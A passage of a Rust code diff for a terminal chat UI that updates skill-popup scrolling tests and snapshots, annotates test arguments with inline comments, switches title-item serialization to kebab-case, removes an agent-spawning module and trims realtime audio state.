@@ -235,6 +234,8 @@ fn skill_popup_hint_line() -> Line<'static> {
mod tests {
use super::*;
use pretty_assertions::assert_eq;
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
fn mention_item(index: usize) -> MentionItem {
MentionItem {
@@ -249,7 +250,7 @@ mod tests {
}
#[test]
fn filtered_mentions_are_capped_to_max_popup_rows() {
fn filtered_mentions_preserve_results_beyond_popup_height() {
let popup = SkillPopup::new((0..(MAX_POPUP_ROWS + 2)).map(mention_item).collect());
let filtered_names: Vec<String> = popup
@@ -260,7 +261,7 @@ mod tests {
assert_eq!(
filtered_names,
(0..MAX_POPUP_ROWS)
(0..(MAX_POPUP_ROWS + 2))
.map(|idx| format!("Mention {idx:02}"))
.collect::<Vec<_>>()
);
@@ -269,4 +270,22 @@ mod tests {
(MAX_POPUP_ROWS as u16) + 2
);
}
fn render_popup(popup: &SkillPopup, width: u16) -> String {
let area = Rect::new(0, 0, width, popup.calculate_required_height(width));
let mut buf = Buffer::empty(area);
popup.render_ref(area, &mut buf);
format!("{buf:?}")
}
#[test]
fn scrolling_mentions_shifts_rendered_window_snapshot() {
let mut popup = SkillPopup::new((0..(MAX_POPUP_ROWS + 2)).map(mention_item).collect());
for _ in 0..=MAX_POPUP_ROWS {
popup.move_down();
}
insta::assert_snapshot!("skill_popup_scrolled", render_popup(&popup, /*width*/ 72));
}
}
@@ -22,7 +22,6 @@ use crate::render::renderable::Renderable;
use crate::skills_helpers::match_skill;
use crate::skills_helpers::truncate_skill_name;
use crate::style::user_message_style;
use codex_protocol::protocol::Op;
use super::CancellationEvent;
use super::bottom_pane_view::BottomPaneView;
@@ -187,10 +186,8 @@ impl SkillsToggleView {
}
self.complete = true;
self.app_event_tx.send(AppEvent::ManageSkillsClosed);
self.app_event_tx.send(AppEvent::CodexOp(Op::ListSkills {
cwds: Vec::new(),
force_reload: true,
}));
self.app_event_tx
.list_skills(Vec::new(), /*force_reload*/ true);
}
fn rows_width(total_width: u16) -> u16 {
@@ -432,6 +429,6 @@ mod tests {
},
];
let view = SkillsToggleView::new(items, tx);
assert_snapshot!("skills_toggle_basic", render_lines(&view, 72));
assert_snapshot!("skills_toggle_basic", render_lines(&view, /*width*/ 72));
}
}
@@ -1,6 +1,6 @@
---
source: tui/src/bottom_pane/approval_overlay.rs
expression: "render_overlay_lines(&view, 120)"
expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))"
---
Would you like to run the following command?
@@ -2,6 +2,7 @@
source: tui/src/bottom_pane/approval_overlay.rs
expression: "render_overlay_lines(&view, 80)"
---
Would you like to run the following command?
Thread: Robie [explorer]
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/approval_overlay.rs
assertion_line: 821
expression: "format!(\"{buf:?}\")"
---
Buffer {
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/chat_composer.rs
assertion_line: 2385
expression: terminal.backend()
---
" "
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/footer.rs
assertion_line: 1207
expression: terminal.backend()
---
" Robie [explorer] 100% context left "
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/footer.rs
assertion_line: 535
expression: terminal.backend()
---
" / for commands ! for shell commands "
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/footer.rs
assertion_line: 1210
expression: terminal.backend()
---
" Status line content · Robie [explorer] "
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/list_selection_view.rs
assertion_line: 1054
expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, 96)"
---
before scroll:
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/list_selection_view.rs
assertion_line: 1046
expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, 96)"
---
before scroll:
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/list_selection_view.rs
assertion_line: 1062
expression: "render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)"
---
before scroll:
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/list_selection_view.rs
assertion_line: 828
expression: "render_lines_with_width(&view, 40)"
---
@@ -0,0 +1,43 @@
---
source: tui/src/bottom_pane/skill_popup.rs
assertion_line: 289
expression: "render_popup(&popup, /*width*/ 72)"
---
Buffer {
area: Rect { x: 0, y: 0, width: 72, height: 10 },
content: [
" Mention 01 [Skill] Description 01 ",
" Mention 02 [Skill] Description 02 ",
" Mention 03 [Skill] Description 03 ",
" Mention 04 [Skill] Description 04 ",
" Mention 05 [Skill] Description 05 ",
" Mention 06 [Skill] Description 06 ",
" Mention 07 [Skill] Description 07 ",
" Mention 08 [Skill] Description 08 ",
" ",
" Press enter to insert or esc to close ",
],
styles: [
x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 14, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 36, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 2, y: 7, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD,
x: 36, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 8, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 13, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
x: 27, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
x: 30, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
]
}
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/skills_toggle_view.rs
assertion_line: 439
expression: "render_lines(&view, 72)"
---
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/status_line_setup.rs
assertion_line: 365
expression: "render_lines(&view, 72)"
---
@@ -366,7 +366,7 @@ mod tests {
AppEventSender::new(tx_raw),
);
assert_snapshot!(render_lines(&view, 72));
assert_snapshot!(render_lines(&view, /*width*/ 72));
}
fn render_lines(view: &StatusLineSetupView, width: u16) -> String {
+61 -60
View File
@@ -945,6 +945,7 @@ impl TextArea {
self.set_cursor(end);
}
#[cfg(not(target_os = "linux"))]
pub fn replace_element_by_id(&mut self, id: &str, text: &str) -> bool {
if let Some(idx) = self
.elements
@@ -1468,17 +1469,17 @@ mod tests {
fn insert_and_replace_update_cursor_and_text() {
// insert helpers
let mut t = ta_with("hello");
t.set_cursor(5);
t.set_cursor(/*pos*/ 5);
t.insert_str("!");
assert_eq!(t.text(), "hello!");
assert_eq!(t.cursor(), 6);
t.insert_str_at(0, "X");
t.insert_str_at(/*pos*/ 0, "X");
assert_eq!(t.text(), "Xhello!");
assert_eq!(t.cursor(), 7);
// Insert after the cursor should not move it
t.set_cursor(1);
t.set_cursor(/*pos*/ 1);
let end = t.text().len();
t.insert_str_at(end, "Y");
assert_eq!(t.text(), "Xhello!Y");
@@ -1487,21 +1488,21 @@ mod tests {
// replace_range cases
// 1) cursor before range
let mut t = ta_with("abcd");
t.set_cursor(1);
t.set_cursor(/*pos*/ 1);
t.replace_range(2..3, "Z");
assert_eq!(t.text(), "abZd");
assert_eq!(t.cursor(), 1);
// 2) cursor inside range
let mut t = ta_with("abcd");
t.set_cursor(2);
t.set_cursor(/*pos*/ 2);
t.replace_range(1..3, "Q");
assert_eq!(t.text(), "aQd");
assert_eq!(t.cursor(), 2);
// 3) cursor after range with shifted by diff
let mut t = ta_with("abcd");
t.set_cursor(4);
t.set_cursor(/*pos*/ 4);
t.replace_range(0..1, "AA");
assert_eq!(t.text(), "AAbcd");
assert_eq!(t.cursor(), 5);
@@ -1511,8 +1512,8 @@ mod tests {
fn insert_str_at_clamps_to_char_boundary() {
let mut t = TextArea::new();
t.insert_str("你");
t.set_cursor(0);
t.insert_str_at(1, "A");
t.set_cursor(/*pos*/ 0);
t.insert_str_at(/*pos*/ 1, "A");
assert_eq!(t.text(), "A你");
assert_eq!(t.cursor(), 1);
}
@@ -1521,7 +1522,7 @@ mod tests {
fn set_text_clamps_cursor_to_char_boundary() {
let mut t = TextArea::new();
t.insert_str("abcd");
t.set_cursor(1);
t.set_cursor(/*pos*/ 1);
t.set_text_clearing_elements("你");
assert_eq!(t.cursor(), 0);
t.insert_str("a");
@@ -1531,26 +1532,26 @@ mod tests {
#[test]
fn delete_backward_and_forward_edges() {
let mut t = ta_with("abc");
t.set_cursor(1);
t.delete_backward(1);
t.set_cursor(/*pos*/ 1);
t.delete_backward(/*n*/ 1);
assert_eq!(t.text(), "bc");
assert_eq!(t.cursor(), 0);
// deleting backward at start is a no-op
t.set_cursor(0);
t.delete_backward(1);
t.set_cursor(/*pos*/ 0);
t.delete_backward(/*n*/ 1);
assert_eq!(t.text(), "bc");
assert_eq!(t.cursor(), 0);
// forward delete removes next grapheme
t.set_cursor(1);
t.delete_forward(1);
t.set_cursor(/*pos*/ 1);
t.delete_forward(/*n*/ 1);
assert_eq!(t.text(), "b");
assert_eq!(t.cursor(), 1);
// forward delete at end is a no-op
t.set_cursor(t.text().len());
t.delete_forward(1);
t.delete_forward(/*n*/ 1);
assert_eq!(t.text(), "b");
}
@@ -1563,7 +1564,7 @@ mod tests {
let elem_start = t.elements[0].range.start;
t.set_cursor(elem_start);
t.delete_forward(1);
t.delete_forward(/*n*/ 1);
assert_eq!(t.text(), "ab");
assert_eq!(t.cursor(), elem_start);
@@ -1580,7 +1581,7 @@ mod tests {
// From inside a word, delete from word start to cursor
let mut t = ta_with("foo bar");
t.set_cursor(6); // inside "bar" (after 'a')
t.set_cursor(/*pos*/ 6); // inside "bar" (after 'a')
t.delete_backward_word();
assert_eq!(t.text(), "foo r");
assert_eq!(t.cursor(), 4);
@@ -1594,27 +1595,27 @@ mod tests {
// kill_to_end_of_line when not at EOL
let mut t = ta_with("abc\ndef");
t.set_cursor(1); // on first line, middle
t.set_cursor(/*pos*/ 1); // on first line, middle
t.kill_to_end_of_line();
assert_eq!(t.text(), "a\ndef");
assert_eq!(t.cursor(), 1);
// kill_to_end_of_line when at EOL deletes newline
let mut t = ta_with("abc\ndef");
t.set_cursor(3); // EOL of first line
t.set_cursor(/*pos*/ 3); // EOL of first line
t.kill_to_end_of_line();
assert_eq!(t.text(), "abcdef");
assert_eq!(t.cursor(), 3);
// kill_to_beginning_of_line from middle of line
let mut t = ta_with("abc\ndef");
t.set_cursor(5); // on second line, after 'e'
t.set_cursor(/*pos*/ 5); // on second line, after 'e'
t.kill_to_beginning_of_line();
assert_eq!(t.text(), "abc\nef");
// kill_to_beginning_of_line at beginning of non-first line removes the previous newline
let mut t = ta_with("abc\ndef");
t.set_cursor(4); // beginning of second line
t.set_cursor(/*pos*/ 4); // beginning of second line
t.kill_to_beginning_of_line();
assert_eq!(t.text(), "abcdef");
assert_eq!(t.cursor(), 3);
@@ -1623,13 +1624,13 @@ mod tests {
#[test]
fn delete_forward_word_variants() {
let mut t = ta_with("hello world ");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.delete_forward_word();
assert_eq!(t.text(), " world ");
assert_eq!(t.cursor(), 0);
let mut t = ta_with("hello world ");
t.set_cursor(1);
t.set_cursor(/*pos*/ 1);
t.delete_forward_word();
assert_eq!(t.text(), "h world ");
assert_eq!(t.cursor(), 1);
@@ -1641,13 +1642,13 @@ mod tests {
assert_eq!(t.cursor(), t.text().len());
let mut t = ta_with("foo \nbar");
t.set_cursor(3);
t.set_cursor(/*pos*/ 3);
t.delete_forward_word();
assert_eq!(t.text(), "foo");
assert_eq!(t.cursor(), 3);
let mut t = ta_with("foo\nbar");
t.set_cursor(3);
t.set_cursor(/*pos*/ 3);
t.delete_forward_word();
assert_eq!(t.text(), "foo");
assert_eq!(t.cursor(), 3);
@@ -1665,7 +1666,7 @@ mod tests {
t.insert_element("<element>");
t.insert_str(" tail");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.delete_forward_word();
assert_eq!(t.text(), " tail");
assert_eq!(t.cursor(), 0);
@@ -1675,7 +1676,7 @@ mod tests {
t.insert_element("<element>");
t.insert_str(" tail");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.delete_forward_word();
assert_eq!(t.text(), " tail");
assert_eq!(t.cursor(), 0);
@@ -1721,7 +1722,7 @@ mod tests {
#[test]
fn delete_forward_word_respects_word_separators() {
let mut t = ta_with("path/to/file");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.delete_forward_word();
assert_eq!(t.text(), "/to/file");
assert_eq!(t.cursor(), 0);
@@ -1731,13 +1732,13 @@ mod tests {
assert_eq!(t.cursor(), 0);
let mut t = ta_with("/ foo");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.delete_forward_word();
assert_eq!(t.text(), " foo");
assert_eq!(t.cursor(), 0);
let mut t = ta_with(" /foo");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.delete_forward_word();
assert_eq!(t.text(), "foo");
assert_eq!(t.cursor(), 0);
@@ -1746,7 +1747,7 @@ mod tests {
#[test]
fn yank_restores_last_kill() {
let mut t = ta_with("hello");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.kill_to_end_of_line();
assert_eq!(t.text(), "");
assert_eq!(t.cursor(), 0);
@@ -1766,7 +1767,7 @@ mod tests {
assert_eq!(t.cursor(), 11);
let mut t = ta_with("hello");
t.set_cursor(5);
t.set_cursor(/*pos*/ 5);
t.kill_to_beginning_of_line();
assert_eq!(t.text(), "");
assert_eq!(t.cursor(), 0);
@@ -1779,7 +1780,7 @@ mod tests {
#[test]
fn kill_buffer_persists_across_set_text() {
let mut t = ta_with("restore me");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.kill_to_end_of_line();
assert!(t.text().is_empty());
@@ -1817,7 +1818,7 @@ mod tests {
#[test]
fn control_b_and_f_move_cursor() {
let mut t = ta_with("abcd");
t.set_cursor(1);
t.set_cursor(/*pos*/ 1);
t.input(KeyEvent::new(KeyCode::Char('f'), KeyModifiers::CONTROL));
assert_eq!(t.cursor(), 2);
@@ -1829,7 +1830,7 @@ mod tests {
#[test]
fn control_b_f_fallback_control_chars_move_cursor() {
let mut t = ta_with("abcd");
t.set_cursor(2);
t.set_cursor(/*pos*/ 2);
// Simulate terminals that send C0 control chars without CONTROL modifier.
// ^B (U+0002) should move left
@@ -1873,13 +1874,13 @@ mod tests {
#[test]
fn delete_forward_word_with_without_alt_modifier() {
let mut t = ta_with("hello world");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.input(KeyEvent::new(KeyCode::Delete, KeyModifiers::ALT));
assert_eq!(t.text(), " world");
assert_eq!(t.cursor(), 0);
let mut t = ta_with("hello");
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.input(KeyEvent::new(KeyCode::Delete, KeyModifiers::NONE));
assert_eq!(t.text(), "ello");
assert_eq!(t.cursor(), 0);
@@ -1888,7 +1889,7 @@ mod tests {
#[test]
fn delete_forward_word_alt_d() {
let mut t = ta_with("hello world");
t.set_cursor(6);
t.set_cursor(/*pos*/ 6);
t.input(KeyEvent::new(KeyCode::Char('d'), KeyModifiers::ALT));
pretty_assertions::assert_eq!(t.text(), "hello ");
pretty_assertions::assert_eq!(t.cursor(), 6);
@@ -1898,13 +1899,13 @@ mod tests {
fn control_h_backspace() {
// Test Ctrl+H as backspace
let mut t = ta_with("12345");
t.set_cursor(3); // cursor after '3'
t.set_cursor(/*pos*/ 3); // cursor after '3'
t.input(KeyEvent::new(KeyCode::Char('h'), KeyModifiers::CONTROL));
assert_eq!(t.text(), "1245");
assert_eq!(t.cursor(), 2);
// Test Ctrl+H at beginning (should be no-op)
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.input(KeyEvent::new(KeyCode::Char('h'), KeyModifiers::CONTROL));
assert_eq!(t.text(), "1245");
assert_eq!(t.cursor(), 0);
@@ -1967,19 +1968,19 @@ mod tests {
let second_line_start = t.text().find("two").unwrap();
t.set_cursor(second_line_start + 1);
t.move_cursor_to_beginning_of_line(false);
t.move_cursor_to_beginning_of_line(/*move_up_at_bol*/ false);
assert_eq!(t.cursor(), second_line_start);
// Ctrl-A behavior: if at BOL, go to beginning of previous line
t.move_cursor_to_beginning_of_line(true);
t.move_cursor_to_beginning_of_line(/*move_up_at_bol*/ true);
assert_eq!(t.cursor(), 0); // beginning of first line
// Move to EOL of first line
t.move_cursor_to_end_of_line(false);
t.move_cursor_to_end_of_line(/*move_down_at_eol*/ false);
assert_eq!(t.cursor(), 3);
// Ctrl-E: if at EOL, go to end of next line
t.move_cursor_to_end_of_line(true);
t.move_cursor_to_end_of_line(/*move_down_at_eol*/ true);
// end of second line ("two") is right before its '\n'
let end_second_nl = t.text().find("\nthree").unwrap();
assert_eq!(t.cursor(), end_second_nl);
@@ -1991,13 +1992,13 @@ mod tests {
// Place cursor at absolute end of the text
t.set_cursor(t.text().len());
// Should remain at end without panicking
t.move_cursor_to_end_of_line(true);
t.move_cursor_to_end_of_line(/*move_down_at_eol*/ true);
assert_eq!(t.cursor(), t.text().len());
// Also verify behavior when at EOL of a non-final line:
let eol_first_line = 3; // index of '\n' in "one\ntwo"
t.set_cursor(eol_first_line);
t.move_cursor_to_end_of_line(true);
t.move_cursor_to_end_of_line(/*move_down_at_eol*/ true);
assert_eq!(t.cursor(), t.text().len()); // moves to end of next (last) line
}
@@ -2052,7 +2053,7 @@ mod tests {
fn cursor_pos_with_state_basic_and_scroll_behaviors() {
// Case 1: No wrapping needed, height fits — scroll ignored, y maps directly.
let mut t = ta_with("hello world");
t.set_cursor(3);
t.set_cursor(/*pos*/ 3);
let area = Rect::new(2, 5, 20, 3);
// Even if an absurd scroll is provided, when content fits the area the
// effective scroll is 0 and the cursor position matches cursor_pos.
@@ -2080,7 +2081,7 @@ mod tests {
let wrap_width = 5;
let lines = t.desired_height(wrap_width);
// Place cursor near start so an excessive scroll moves it to top row.
t.set_cursor(1);
t.set_cursor(/*pos*/ 1);
let area = Rect::new(0, 0, wrap_width, 3);
let state = TextAreaState {
scroll: lines.saturating_mul(2),
@@ -2093,15 +2094,15 @@ mod tests {
fn wrapped_navigation_across_visual_lines() {
let mut t = ta_with("abcdefghij");
// Force wrapping at width 4: lines -> ["abcd", "efgh", "ij"]
let _ = t.desired_height(4);
let _ = t.desired_height(/*width*/ 4);
// From the very start, moving down should go to the start of the next wrapped line (index 4)
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
t.move_cursor_down();
assert_eq!(t.cursor(), 4);
// Cursor at boundary index 4 should be displayed at start of second wrapped line
t.set_cursor(4);
t.set_cursor(/*pos*/ 4);
let area = Rect::new(0, 0, 4, 10);
let (x, y) = t.cursor_pos(area).unwrap();
assert_eq!((x, y), (0, 1));
@@ -2113,7 +2114,7 @@ mod tests {
assert_eq!((x, y), (0, 0));
// Place cursor in the middle of the second wrapped line ("efgh"), at 'g'
t.set_cursor(6);
t.set_cursor(/*pos*/ 6);
// Move up should go to same column on previous wrapped line -> index 2 ('c')
t.move_cursor_up();
assert_eq!(t.cursor(), 2);
@@ -2131,13 +2132,13 @@ mod tests {
fn cursor_pos_with_state_after_movements() {
let mut t = ta_with("abcdefghij");
// Wrap width 4 -> visual lines: abcd | efgh | ij
let _ = t.desired_height(4);
let _ = t.desired_height(/*width*/ 4);
let area = Rect::new(0, 0, 4, 2);
let mut state = TextAreaState::default();
let mut buf = Buffer::empty(area);
// Start at beginning
t.set_cursor(0);
t.set_cursor(/*pos*/ 0);
ratatui::widgets::StatefulWidgetRef::render_ref(&(&t), area, &mut buf, &mut state);
let (x, y) = t.cursor_pos_with_state(area, state).unwrap();
assert_eq!((x, y), (0, 0));
@@ -2161,7 +2162,7 @@ mod tests {
assert_eq!((x, y), (0, 0));
// Column preservation across moves: set to col 2 on first line, move down
t.set_cursor(2);
t.set_cursor(/*pos*/ 2);
ratatui::widgets::StatefulWidgetRef::render_ref(&(&t), area, &mut buf, &mut state);
let (x0, y0) = t.cursor_pos_with_state(area, state).unwrap();
assert_eq!((x0, y0), (2, 0));
@@ -2176,7 +2177,7 @@ mod tests {
// Include spaces and an explicit newline to exercise boundaries
let mut t = ta_with("word1 word2\nword3");
// Width 6 will wrap "word1 " and then "word2" before the newline
let _ = t.desired_height(6);
let _ = t.desired_height(/*width*/ 6);
// Put cursor on the second wrapped line before the newline, at column 1 of "word2"
let start_word2 = t.text().find("word2").unwrap();
@@ -2200,7 +2201,7 @@ mod tests {
fn wrapped_navigation_with_wide_graphemes() {
// Four thumbs up, each of display width 2, with width 3 to force wrapping inside grapheme boundaries
let mut t = ta_with("👍👍👍👍");
let _ = t.desired_height(3);
let _ = t.desired_height(/*width*/ 3);
// Put cursor after the second emoji (which should be on first wrapped line)
t.set_cursor("👍👍".len());
@@ -2320,8 +2321,8 @@ mod tests {
8 => ta.move_cursor_right(),
9 => ta.move_cursor_up(),
10 => ta.move_cursor_down(),
11 => ta.move_cursor_to_beginning_of_line(true),
12 => ta.move_cursor_to_end_of_line(true),
11 => ta.move_cursor_to_beginning_of_line(/*move_up_at_bol*/ true),
12 => ta.move_cursor_to_end_of_line(/*move_down_at_eol*/ true),
13 => {
// Insert an element with a unique sentinel payload
let payload =
+26 -2
View File
@@ -25,8 +25,12 @@ use crate::bottom_pane::multi_select_picker::MultiSelectPicker;
use crate::render::renderable::Renderable;
/// Available items that can be displayed in the terminal title.
///
/// Variants serialize to kebab-case identifiers (e.g. `AppName` -> `"app-name"`)
/// via strum. These identifiers are persisted in user config files, so renaming
/// or removing a variant is a breaking config change.
#[derive(EnumIter, EnumString, Display, Debug, Clone, Copy, Eq, PartialEq, Hash)]
#[strum(serialize_all = "kebab_case")]
#[strum(serialize_all = "kebab-case")]
pub(crate) enum TerminalTitleItem {
/// Codex app name.
AppName,
@@ -81,6 +85,11 @@ impl TerminalTitleItem {
}
}
/// Returns the separator to place before this item in a rendered title.
///
/// The spinner gets a plain space on either side so it reads as
/// `my-project <spinner> Working` rather than `my-project | <spinner> | Working`.
/// All other adjacent items are joined with ` | `.
pub(crate) fn separator_from_previous(self, previous: Option<Self>) -> &'static str {
match previous {
None => "",
@@ -272,7 +281,10 @@ mod tests {
"thread".to_string(),
];
let view = TerminalTitleSetupView::new(Some(&selected), tx);
assert_snapshot!("terminal_title_setup_basic", render_lines(&view, 84));
assert_snapshot!(
"terminal_title_setup_basic",
render_lines(&view, /*width*/ 84)
);
}
#[test]
@@ -295,4 +307,16 @@ mod tests {
let items = parse_terminal_title_items(["project", "not-a-title-item"].into_iter());
assert_eq!(items, None);
}
#[test]
fn parse_terminal_title_items_accepts_kebab_case_variants() {
let items = parse_terminal_title_items(["app-name", "git-branch"].into_iter());
assert_eq!(
items,
Some(vec![
TerminalTitleItem::AppName,
TerminalTitleItem::GitBranch,
])
);
}
}
@@ -90,7 +90,7 @@ mod tests {
#[test]
fn desired_height_empty() {
let footer = UnifiedExecFooter::new();
assert_eq!(footer.desired_height(40), 0);
assert_eq!(footer.desired_height(/*width*/ 40), 0);
}
#[test]
File diff suppressed because it is too large Load Diff
-149
View File
@@ -1,149 +0,0 @@
use std::sync::Arc;
use codex_core::CodexThread;
use codex_core::NewThread;
use codex_core::ThreadManager;
use codex_core::config::Config;
use codex_protocol::protocol::Event;
use codex_protocol::protocol::EventMsg;
use codex_protocol::protocol::Op;
use tokio::sync::mpsc::UnboundedSender;
use tokio::sync::mpsc::unbounded_channel;
use crate::app_event::AppEvent;
use crate::app_event_sender::AppEventSender;
const TUI_NOTIFY_CLIENT: &str = "codex-tui";
async fn initialize_app_server_client_name(thread: &CodexThread) {
if let Err(err) = thread
.set_app_server_client_name(Some(TUI_NOTIFY_CLIENT.to_string()))
.await
{
tracing::error!("failed to set app server client name: {err}");
}
}
/// Spawn the agent bootstrapper and op forwarding loop, returning the
/// `UnboundedSender<Op>` used by the UI to submit operations.
pub(crate) fn spawn_agent(
config: Config,
app_event_tx: AppEventSender,
server: Arc<ThreadManager>,
) -> UnboundedSender<Op> {
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
let app_event_tx_clone = app_event_tx;
tokio::spawn(async move {
let NewThread {
thread,
session_configured,
..
} = match server.start_thread(config).await {
Ok(v) => v,
Err(err) => {
let message = format!("Failed to initialize codex: {err}");
tracing::error!("{message}");
app_event_tx_clone.send(AppEvent::CodexEvent(Event {
id: "".to_string(),
msg: EventMsg::Error(err.to_error_event(/*message_prefix*/ None)),
}));
app_event_tx_clone.send(AppEvent::FatalExitRequest(message));
tracing::error!("failed to initialize codex: {err}");
return;
}
};
initialize_app_server_client_name(thread.as_ref()).await;
// Forward the captured `SessionConfigured` event so it can be rendered in the UI.
let ev = codex_protocol::protocol::Event {
// The `id` does not matter for rendering, so we can use a fake value.
id: "".to_string(),
msg: codex_protocol::protocol::EventMsg::SessionConfigured(session_configured),
};
app_event_tx_clone.send(AppEvent::CodexEvent(ev));
let thread_clone = thread.clone();
tokio::spawn(async move {
while let Some(op) = codex_op_rx.recv().await {
let id = thread_clone.submit(op).await;
if let Err(e) = id {
tracing::error!("failed to submit op: {e}");
}
}
});
while let Ok(event) = thread.next_event().await {
let is_shutdown_complete = matches!(event.msg, EventMsg::ShutdownComplete);
app_event_tx_clone.send(AppEvent::CodexEvent(event));
if is_shutdown_complete {
// ShutdownComplete is terminal for a thread; drop this receiver task so
// the Arc<CodexThread> can be released and thread resources can clean up.
break;
}
}
});
codex_op_tx
}
/// Spawn agent loops for an existing thread (e.g., a forked thread).
/// Sends the provided `SessionConfiguredEvent` immediately, then forwards subsequent
/// events and accepts Ops for submission.
pub(crate) fn spawn_agent_from_existing(
thread: std::sync::Arc<CodexThread>,
session_configured: codex_protocol::protocol::SessionConfiguredEvent,
app_event_tx: AppEventSender,
) -> UnboundedSender<Op> {
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
let app_event_tx_clone = app_event_tx;
tokio::spawn(async move {
initialize_app_server_client_name(thread.as_ref()).await;
// Forward the captured `SessionConfigured` event so it can be rendered in the UI.
let ev = codex_protocol::protocol::Event {
id: "".to_string(),
msg: codex_protocol::protocol::EventMsg::SessionConfigured(session_configured),
};
app_event_tx_clone.send(AppEvent::CodexEvent(ev));
let thread_clone = thread.clone();
tokio::spawn(async move {
while let Some(op) = codex_op_rx.recv().await {
let id = thread_clone.submit(op).await;
if let Err(e) = id {
tracing::error!("failed to submit op: {e}");
}
}
});
while let Ok(event) = thread.next_event().await {
let is_shutdown_complete = matches!(event.msg, EventMsg::ShutdownComplete);
app_event_tx_clone.send(AppEvent::CodexEvent(event));
if is_shutdown_complete {
// ShutdownComplete is terminal for a thread; drop this receiver task so
// the Arc<CodexThread> can be released and thread resources can clean up.
break;
}
}
});
codex_op_tx
}
/// Spawn an op-forwarding loop for an existing thread without subscribing to events.
pub(crate) fn spawn_op_forwarder(thread: std::sync::Arc<CodexThread>) -> UnboundedSender<Op> {
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
tokio::spawn(async move {
initialize_app_server_client_name(thread.as_ref()).await;
while let Some(op) = codex_op_rx.recv().await {
if let Err(e) = thread.submit(op).await {
tracing::error!("failed to submit op: {e}");
}
}
});
codex_op_tx
}
+53 -120
View File
@@ -4,12 +4,8 @@ use codex_protocol::protocol::RealtimeAudioFrame;
use codex_protocol::protocol::RealtimeConversationClosedEvent;
use codex_protocol::protocol::RealtimeConversationRealtimeEvent;
use codex_protocol::protocol::RealtimeConversationStartedEvent;
#[cfg(not(target_os = "linux"))]
use codex_protocol::protocol::RealtimeConversationVersion;
use codex_protocol::protocol::RealtimeEvent;
#[cfg(not(target_os = "linux"))]
use std::sync::atomic::AtomicUsize;
#[cfg(not(target_os = "linux"))]
use std::time::Duration;
const REALTIME_CONVERSATION_PROMPT: &str = "You are in a realtime voice conversation in the Codex TUI. Respond conversationally and concisely.";
@@ -26,8 +22,6 @@ pub(super) enum RealtimeConversationPhase {
#[derive(Default)]
pub(super) struct RealtimeConversationUiState {
pub(super) phase: RealtimeConversationPhase,
#[cfg(not(target_os = "linux"))]
audio_behavior: RealtimeAudioBehavior,
requested_close: bool,
session_id: Option<String>,
warned_audio_only_submission: bool,
@@ -39,40 +33,6 @@ pub(super) struct RealtimeConversationUiState {
capture: Option<crate::voice::VoiceCapture>,
#[cfg(not(target_os = "linux"))]
audio_player: Option<crate::voice::RealtimeAudioPlayer>,
#[cfg(not(target_os = "linux"))]
// Shared queue depth lets capture suppress echoed speaker audio without
// taking the playback queue lock from the input callback.
playback_queued_samples: Arc<AtomicUsize>,
}
#[cfg(not(target_os = "linux"))]
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
enum RealtimeAudioBehavior {
#[default]
Legacy,
PlaybackAware,
}
#[cfg(not(target_os = "linux"))]
impl RealtimeAudioBehavior {
fn from_version(version: RealtimeConversationVersion) -> Self {
match version {
RealtimeConversationVersion::V1 => Self::Legacy,
